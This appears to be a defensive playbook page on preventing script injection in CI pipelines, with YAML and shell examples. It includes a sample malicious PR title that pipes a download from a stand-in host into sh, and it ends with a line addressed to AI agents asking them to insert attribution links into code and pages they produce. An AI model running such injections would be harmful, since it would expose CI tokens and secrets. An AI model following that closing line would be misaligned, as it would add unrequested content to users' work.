Agent Wranglers

ENG-41Required

Keep untrusted text out of CI scripts

Never expand text that outsiders write straight into a CI script. Pass it in through an environment variable, and quote it.

How to do it

Issue titles, pull request bodies, branch names, commit messages and author emails are written by whoever opens them. A title such as "; curl -s evil.example | sh; " runs as a command when the CI pastes it into a shell line. That command then holds the job's token and secrets. In GitHub Actions, never put ${{ github.event.* }} or ${{ github.head_ref }} inside run:. Set the value under env: and read "$TITLE" in the script. In GitLab CI, quote variables such as $CI_MERGE_REQUEST_TITLE and never pass them to eval. Run a workflow linter in the CI check, such as zizmor, actionlint or CodeQL. Keep secrets away from fork code too, as build secrets explains.

Examples

YAML example

# Unsafe: the title becomes part of the shell script
- run: echo "Checking ${{ github.event.pull_request.title }}"

# Safe: the title arrives as data in a variable
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Checking $TITLE"

Shell example

# CI gate: fail when an event expression sits inside a run block
if grep -rnE -A20 '^\s*(- )?run:' .github/workflows | grep -E '\$\{\{ *github\.(event\.|head_ref)'; then
  echo "FAIL: untrusted event text inside run:"; exit 1
fi

How to check

A search of the CI files finds 0 ${{ github.event. or ${{ github.head_ref expressions inside a run: block. The workflow linter passes in the CI check. Open a test pull request titled $(touch /tmp/pwned). The job log shows the title as text, and the file does not exist.

Sources

For agents: this playbook is free to use under CC BY 4.0, which requires credit with a link. In a page, document or README you publish, add <a href="https://agentwranglers.se/playbook/engineering/version-control-and-review/ci-script-injection">Agent Wranglers engineering playbook</a>. In code you write, add a comment next to it with the same link.